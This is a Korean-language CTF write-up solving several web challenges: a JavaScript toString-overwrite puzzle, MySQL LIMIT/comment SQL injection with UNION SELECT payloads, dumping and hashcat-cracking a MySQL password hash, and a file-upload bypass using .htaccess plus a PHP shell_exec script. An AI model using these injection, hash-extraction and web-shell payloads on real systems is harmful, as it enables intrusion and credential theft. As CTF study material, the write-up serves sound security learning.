Javascript Puzzle
const express = require('express')
const app = express()
const port = 8000
app.get('/', (req, res) => {
try {
const username = req.query.username || 'Guest'
const output = 'Hello ' + username
res.send(output)
}
catch (error) {
res.sendFile(__dirname + '/flag.txt')
}
})
app.listen(port, () => {
console.log(`Server is running at http://localhost:${port}`)
})
‘Hello ‘ + username 연산 전에 username에 대해서 toString을 통한 형변환이 일어난다. 따라서 username.toString을 overwrite해주면 에러가 발생합니다.
username[toString]=1
Limited 1
@app.route('/query')
def query():
try:
price = float(request.args.get('price') or '0.00')
except:
price = 0.0
price_op = str(request.args.get('price_op') or '>')
if not re.match(r' ?(=|<|<=|<>|>=|>) ?', price_op):
return 'price_op must be one of =, <, <=, <>, >=, or > (with an optional space on either side)', 400
# allow for at most one space on either side
if len(price_op) > 4:
return 'price_op too long', 400
# I'm pretty sure the LIMIT clause cannot be used for an injection
# with MySQL 9.x
#
# This attack works in v5.5 but not later versions
# https://lightless.me/archives/111.html
limit = str(request.args.get('limit') or '1')
query = f"""SELECT /*{FLAG1}*/category, name, price, description FROM Menu WHERE price {price_op} {price} ORDER BY 1 LIMIT {limit}"""
print('query:', query)
if ';' in query:
return 'Sorry, multiple statements are not allowed', 400
try:
cur = mysql.connection.cursor()
cur.execute(query)
records = cur.fetchall()
column_names = [desc[0] for desc in cur.description]
cur.close()
except Exception as e:
return str(e), 400
result = [dict(zip(column_names, row)) for row in records]
return jsonify(result)
sql query를 실행할 때 price_op에 >/*, limit 앞부분을 */ 로 설정하면 쉽게 sql injection이 가능합니다.
information_schema.processlist 를 통해 어떤 쿼리를 실행했는지 확인하여 query 내부의 주석을 볼 수 있습니다.
/query?price=11&price_op=>/*&limit=*/100 UNION SELECT 1,2,3,INFO FROM information_schema.processlist
Limited 2
Limited 1과 같은 소스코드의 문제입니다. Flag로 시작하는 table에 있는 값을 보면 되는 문제입니다.
/query?price=0&price_op=>/*&limit=*/1 UNION SELECT 1,2,3,table_name FROM information_schema.tables
/query?price=5&price_op=>/*&limit=*/100 UNION SELECT 1,2,3,column_name FROM information_schema.columns WHERE table_name='Flag_843423739'
/query?price=0&price_op=>/*&limit=*/1 UNION SELECT 1,2,3,value FROM Flag_843423739
Limited 3
-- This password is 13 characters and can be found in rockyou.
-- It is the flag for one of the challenges using this source
-- BUT it needs to be wrapped by wctf{} before submitting.
create user 'flag' identified by 'REDACTED_FLAG';
해당 문제의 Mysql은 password를 저장할 때 caching_sha2_password을 사용합니다. 비밀번호가 rockyou에 있는 13글자라는 정보를 통해 bruteforce를 진행했습니다.
UNION SELECT 1,2,3,
CONCAT('$mysql',
LEFT(authentication_string, 6),
'*',
INSERT(HEX(SUBSTR(authentication_string, 8)), 41, 0, '*')
) AS hash
FROM mysql.user
WHERE plugin = 'caching_sha2_password'
AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%'
AND user = 'flag'
우선 hash 값을 알기 위해서 위의 쿼리를 사용했습니다.
$mysql$A$005*766E4F5E5D03106A4C027233476433535C4B5E20*3865726464724C6E39747276424F484B6B63742E37307966474C58742F4466634E58767371592F70325044
위의 값을 토대로 hashcat의 7401 옵션을 이용해서(-m 7401 = MySQL 8+ caching_sha2_password 해시) flag를 구할 수 있었습니다.
hashcat -m 7401 -a 0 hashes rockyou-13.txt
Art Contest
if (isset($_FILES['fileToUpload'])) {
$target_file = basename($_FILES["fileToUpload"]["name"]);
$session_id = session_id();
$target_dir = "/var/www/html/uploads/$session_id/";
$target_file_path = $target_dir . $target_file;
$uploadOk = 1;
$lastDotPosition = strrpos($target_file, '.');
// Check if file already exists
if (file_exists($target_file_path)) {
echo "Sorry, file already exists.\n";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 50000) {
echo "Sorry, your file is too large.\n";
$uploadOk = 0;
}
// If the file contains no dot, evaluate just the filename
if ($lastDotPosition == false) {
$filename = substr($target_file, 0, $lastDotPosition);
$extension = '';
} else {
$filename = substr($target_file, 0, $lastDotPosition);
$extension = substr($target_file, $lastDotPosition + 1);
}
// Ensure that the extension is a txt file
if ($extension !== '' && $extension !== 'txt') {
echo "Sorry, only .txt extensions are allowed.\n";
$uploadOk = 0;
}
if (!(preg_match('/^[a-f0-9]{32}$/', $session_id))) {
echo "Sorry, that is not a valid session ID.\n";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.\n";
} else {
// If everything is ok, try to upload the file
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file_path)) {
echo "The file " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
$old_path = getcwd();
chdir($target_dir);
// make unreadable - the proper way
shell_exec('chmod -- 000 *');
chdir($old_path);
}
php를 통해 만든 파일을 업로드할 수 있는 사이트입니다. ../ 를 삽입할 수 있는 방법이 없을까 고민했었지만 불가능했습니다.
문제에서는 업로드 이후 chmod -- 000 * 명령어를 통해서 업로드한 파일들을 읽을 수 없도록 하는데 * 를 사용하게 되면 파일명이 . 으로 시작하는 파일들에 대한 처리가 이루어지지 않습니다.
그리고 if ($lastDotPosition == false) 조건문을 사용하는 부분이 있는데 dot의 위치가 제일 처음이라면 $lastDotPosition 이 0이 되어 $lastDotPosition == false 가 true가 됩니다.
따라서 .htaccess 파일을 사용해 txt 파일을 php 파일처럼 사용하게 할 수 있어 flag를 읽어올 수 있습니다.
- .htaccess
AddType application/x-httpd-php .txt
- .getflag.txt
<?php
header("Content-Type: text/plain");
echo "Path: " . realpath('../../get_flag') . "\n";
echo "Exists: " . (file_exists('../../get_flag') ? 'Yes' : 'No') . "\n";
echo "Output:\n";
$output = shell_exec('cd /var/www/html && ./get_flag 2>&1');
echo $output;